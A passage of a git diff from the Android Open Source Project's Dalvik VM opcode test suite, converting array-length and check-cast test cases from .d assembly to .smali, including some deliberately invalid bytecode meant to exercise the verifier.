-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([D)I
-.limit regs 5
-
-       array-length v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali
new file mode 100644
index 0000000..a2ef49c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_4.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([D)I
+.registers 5
+
+       array-length v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.d
deleted file mode 100644
index c7b1f9e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_array_length_5.java
-.class public dot.junit.opcodes.array_length.d.T_array_length_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Object;)V
-.limit regs 5
-
-       array-length v5, v4
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali
new file mode 100644
index 0000000..db1ddeb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/array_length/d/T_array_length_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_array_length_5.java"
+.class  public Ldot/junit/opcodes/array_length/d/T_array_length_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Object;)V
+.registers 5
+
+       array-length v5, v4
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.d
deleted file mode 100644
index 9c2f074..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_1.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Ljava/lang/String;
-.limit regs 5
-
-       check-cast v4, java/lang/String
-       return-object v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali
new file mode 100644
index 0000000..0804480
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_1.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SubClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SubClass.smali
new file mode 100644
index 0000000..2919830
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SubClass.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+.super Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperClass.smali
new file mode 100644
index 0000000..6fede5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperClass.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface.smali
new file mode 100644
index 0000000..87a53db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface2.smali
new file mode 100644
index 0000000..7ab0e8a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/SuperInterface2.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/T_check_cast_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/T_check_cast_2.smali
new file mode 100644
index 0000000..be0449d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_2.smalis/T_check_cast_2.smali
@@ -0,0 +1,145 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/check_cast/d/T_check_cast_2;
+.super Ljava/lang/Object;
+.source "T_check_cast_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 20
+
+    const v1, 0x0
+
+# (SubClass instanceof SuperClass)
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;-><init>()V
+
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+# (SubClass[] instanceof SuperClass[])
+    const v11, 0x1
+
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    check-cast v10, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+# (SubClass[] instanceof Object)
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    check-cast v10, Ljava/lang/Object;
+
+# (SubClass instanceof SuperInterface)
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;-><init>()V
+
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+
+# !(SuperClass instanceof SubClass)
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;-><init>()V
+
+    :try_start_21
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+    :try_end_23
+    .catch Ljava/lang/ClassCastException; {:try_start_21 .. :try_end_23} :catch_24
+
+    goto :goto_27
+
+    :catch_24
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_27
+
+# !(SubClass instanceof SuperInterface2)
+    :goto_27
+    new-instance v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    invoke-direct {v10}, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;-><init>()V
+
+    :try_start_2c
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface2;
+    :try_end_2e
+    .catch Ljava/lang/ClassCastException; {:try_start_2c .. :try_end_2e} :catch_2f
+
+    goto :goto_32
+
+    :catch_2f
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_32
+
+# !(SubClass[] instanceof SuperInterface)
+    :goto_32
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    :try_start_34
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperInterface;
+    :try_end_36
+    .catch Ljava/lang/ClassCastException; {:try_start_34 .. :try_end_36} :catch_37
+
+    goto :goto_3a
+
+    :catch_37
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_3a
+
+# !(SubClass[] instanceof SubClass)
+    :goto_3a
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+
+    :try_start_3c
+    check-cast v10, Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+    :try_end_3e
+    .catch Ljava/lang/ClassCastException; {:try_start_3c .. :try_end_3e} :catch_3f
+
+    goto :goto_42
+
+    :catch_3f
+    add-int/lit16 v1, v1, 0x1
+
+    goto :goto_42
+
+# !(SuperClass[] instanceof SubClass[])
+    :goto_42
+    new-array v10, v11, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SuperClass;
+
+    :try_start_44
+    check-cast v10, [Ldot/junit/opcodes/check_cast/d/T_check_cast_2/SubClass;
+    :try_end_46
+    .catch Ljava/lang/ClassCastException; {:try_start_44 .. :try_end_46} :catch_47
+
+    goto :goto_49
+
+    :catch_47
+    add-int/lit16 v1, v1, 0x1
+
+    :goto_49
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.d
deleted file mode 100644
index d269a31..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_3.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-       check-cast v5, dot/junit/opcodes/check_cast/TestStubs
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali
new file mode 100644
index 0000000..653c380
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_3.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+       check-cast v5, Ldot/junit/opcodes/check_cast/TestStubs;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.d
deleted file mode 100644
index 77e28d2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_4.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)Ljava/lang/String;
-.limit regs 5
-
-       check-cast v4, java/lang/String
-       return-object v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali
new file mode 100644
index 0000000..c07365f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_4.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)Ljava/lang/String;
+.registers 5
+
+       check-cast v4, Ljava/lang/String;
+       return-object v4
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.d
deleted file mode 100644
index b76a68e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_5.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const v3, 1234
-       check-cast v3, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali
new file mode 100644
index 0000000..137c31d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_5.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+       const v3, 1234
+       check-cast v3, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.d
deleted file mode 100644
index 7e26639..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_6.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-
-       check-cast v5, java/lang/String
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali
new file mode 100644
index 0000000..c9b616d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_6.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+
+       check-cast v5, Ljava/lang/String;
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.d
deleted file mode 100644
index 8c7af68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_7.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       check-cast v5, dot/junit/opcodes/check_cast/Test_check_castN
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali
new file mode 100644
index 0000000..70b1066
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_check_cast_7.java"
+.class  public Ldot/junit/opcodes/check_cast/d/T_check_cast_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       check-cast v5, Ldot/junit/opcodes/check_cast/Test_check_castN;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.d
deleted file mode 100644
index 645436f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/check_cast/d/T_check_cast_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_check_cast_8.java
-.class public dot.junit.opcodes.check_cast.d.T_check_cast_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-       const-wide v0, 1234
-       check-cast v0, java/lang/String
-       return-void
-.end method
